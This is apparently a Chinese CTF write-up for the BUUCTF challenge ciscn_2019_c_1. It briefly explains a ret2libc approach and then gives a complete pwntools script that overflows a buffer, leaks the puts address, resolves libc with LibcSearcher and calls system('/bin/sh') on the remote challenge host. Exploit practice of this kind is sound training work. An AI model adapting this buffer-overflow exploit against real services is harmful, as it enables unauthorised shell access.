buu-ciscn_2019_c_1-好久不见36

  1. 泄露地址:
    利用程序中已执行的函数(如 puts)泄露其地址,取末尾3个字节查找对应的 libc 版本。

  2. 计算偏移量:
    程序中函数地址 = libc 中函数地址 + 偏移量。通过泄露的地址减去 libc 中的函数地址,得到偏移量。

  3. 构造 ROP:
    利用偏移量计算其他函数地址(如 system/bin/sh),构造 ROP 链执行 system("/bin/sh"),获取 shell。

from pwn import*
from LibcSearcher import*
 
r=remote('node5.buuoj.cn',26160)
elf=ELF('./123')
 
main = 0x400B28
pop_rdi = 0x400c83
ret = 0x4006b9
 
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
 
r.sendlineafter('Input your choice!\n','1')
offset = 0x50+8
payload = b'\0'+b'a'*(offset-1)
payload=payload+p64(pop_rdi)
payload=payload+p64(puts_got)
payload=payload+p64(puts_plt)
payload=payload+p64(main)
r.sendlineafter('Input your Plaintext to be encrypted\n',payload)
r.recvline()
r.recvline()
puts_addr=u64(r.recvuntil('\n')[:-1].ljust(8,b'\0'))
print(hex(puts_addr))
libc = LibcSearcher('puts',puts_addr)
Offset = puts_addr - libc.dump('puts')
print(hex(Offset))
binsh = Offset+libc.dump('str_bin_sh')
system = Offset+libc.dump('system')
r.sendlineafter('Input your choice!\n','1')
payload = b'\0'+b'a'*(offset-1)
payload=payload+p64(ret)
payload=payload+p64(pop_rdi)
payload=payload+p64(binsh)
payload=payload+p64(system)
r.sendlineafter('Input your Plaintext to be encrypted\n',payload)
 
r.interactive()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值